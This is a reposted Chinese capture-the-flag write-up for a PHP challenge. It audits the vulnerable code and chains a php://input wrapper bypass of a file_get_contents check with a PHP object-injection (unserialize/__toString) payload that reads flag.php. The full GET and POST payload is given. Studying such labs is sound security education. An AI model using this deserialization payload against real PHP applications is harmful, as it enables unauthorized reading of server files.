6.level6-[本地复现]-[file_get_conents]-[php://input伪协议]

本文阅读 6 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

level6-[本地复现]-[file_get_conents]-[php://input伪协议]

1.题目描述

<?php  
error_reporting(0);
include("flag.php");

class Flag{  
    public $file;  
    public function __tostring(){   
        if(isset($this->file)){   
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("good");
        }  
    }  
}

$txt = $_GET["txt"];
$password = $_GET["password"];  

if(!isset($txt)){ 
    show_source(__FILE__);
    exit();
}

if(file_get_contents($txt,'r')==="welcome to the aegis"){   
    echo "hello friend!<br>";    
    $password = unserialize($password);  
    echo $password;  
}else{   
    echo "something wrong! try it again";  
}

2.代码审计

通读代码:

<?php  
error_reporting(0);        // 关闭所有PHP错误报告
include("flag.php");    // 文件包含flag.php,也就是提示我们flag存储在flag.php页面内,猜测是注释内容

class Flag{              // 定义一个以Flag为名的类
    public $file;          // 定义一个以file为名的公有属性
    public function __tostring(){    // 定义一个公有的魔术方法,
                                    // 当前类的实例化对象被当做字符串的时候,自动被调用
        if(isset($this->file)){       // 判断file属性是否被声明,它的值是否为NULL
            echo file_get_contents($this->file); // 若被定义了,且值不为NULL,
                                                 // 则把整个文件的内容读入字符串
            echo "<br>";            // 输出换行
            return ("good");        // 返回good
        }  
    }  
}

$txt = $_GET["txt"];          // 把用户以GET形式提交的txt参数值赋值给变量txt
$password = $_GET["password"];// 把用户以GET形式提交的password参数值赋值给password变量

if(!isset($txt)){               // 判断txt变量是否被声明且不为NULL 
    show_source(__FILE__);      // 若没有声明或值为NULL,则高亮显示当前页面源码
    exit();                      // 输出一个空消息并且退出当前脚本行
}

if(file_get_contents($txt,'r')==="welcome to the aegis"){   // 判断是否全等
    echo "hello friend!<br>";             // 全等,则输出hello friend
    $password = unserialize($password);  // 反序列化password值
    echo $password;                       // 打印password,很明显这里可以触发tostring
}else{                                    // 若不全等:
    echo "something wrong! try it again";// something wrong! try it again
}

按序,分析所得:

<li class="task-list-item"> flag值可能存在于flag.php的页面的注释内:
<li class="task-list-item"> Flag类有一个魔术方法tostring,功能是把以file属性名的文件读入字符串,并且打印出来(很明显,我们可以通过把flag.php赋值给file属性,然后再调用该魔术方法,即可的到flag)
<li class="task-list-item"> 需要以GET形式传入参数值给txt变量且值不能为NULL,之后会经过file_get_content的读取后,判断是否全等于welcome to the aegis。(很明显,我们并不知道什么文件的内容是为welcome to the aegis,但是我们有一个奇技淫巧:就是把这个文件吗替换为php://input伪协议,那么file_get_contents就会把POST提交的内容读入字符串,那么这样我们就可以很简单地让这个字符串全等于welcome to the aegis了)【这一步,就相当于一个绕过过滤了】
<li class="task-list-item"> 需要以GET形式传入参数值给password变量且不为NULL,再经过上一步的考验后,会反序列化password变量的值,再打印出该值(很明显,如果我们传入当前类的实例化对象的序列化字符串,那么在后台经过反序列化和输出后,就会自然而然地调用tostring魔术方法,那么很明显就会和上面分析得到flag值得方法不谋而合了)

反序列化四要素,分析所得:

<li class="task-list-item"> 后台存在反序列化函数
<li class="task-list-item"> 后台存在不正当使用魔术方法的行为
<li class="task-list-item"> 后台存在echo file_get_contents($this->file);
<li class="task-list-item"> 用户对于传入的反序列化内容可控,或者说可以绕过过滤

3.解题过程

第一步:分析流程

<li class="task-list-item"> 要想得到flag值–>需要读flag.php页面的源码
<li class="task-list-item"> 要想读flag.php页面的源码–>需要执行file_get_contents($this->file)(很明显,需要执行该函数,且file属性值为flag.php)
<li class="task-list-item"> 要想执行file_get_contents($this->file)函数–>需要执行tostring魔术方法
<li class="task-list-item"> 要想执行tostring魔术方法–>需要当前类的实例化对象被当做字符串处理
<li class="task-list-item"> 要想当前类的实例化对象被当做字符串处理–>需要执行p a s s w o r d = u n s e r i a l i z e ( password = unserialize( password=unserialize(password);echo $password;
<li class="task-list-item"> 要想执行上一步的代码–>需要对传入的txt参数进行绕过过滤
<li class="task-list-item"> 要想绕过过滤–>需要给txt传入php://input伪协议,同时以POST形式提交数据welcome to the aegis

第二步:根据以上步骤构造payload

<?php  
class Flag{  
    public $file='flag.php';   
}

$chen = new Flag();
echo serialize($chen);
//序列化字符串结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//以GET形式提交的数据:?txt=php://input&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//同时以POST提交的数据:welcome to the aegis

第三步:传入payload,读取flag值

GET内容:

?txt=php://input&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

POST内容:

welcome to the aegis

img

附:修改BurpsuiteHTTP包的字体大小的方法

img

4.总结

<li class="task-list-item"> 官方功能:file_get_contents()函数把整个文件读入到字符串
<li class="task-list-item"> 通俗的说:file_get_contents()是用来把文件的内容或POST数据读入到字符串中
<li class="task-list-item"> file_get_conents($file)函数的功能:把以file参数为名的整个文件内容读入字符串
<li class="task-list-item"> file_get_contents(php://input)函数功能:把以POST提交的数据读入字符串(php://input起到了一个桥梁的作用)(也就是php://input读POST数据,而php://input又被file_get_contents()函数读)

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122226857
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复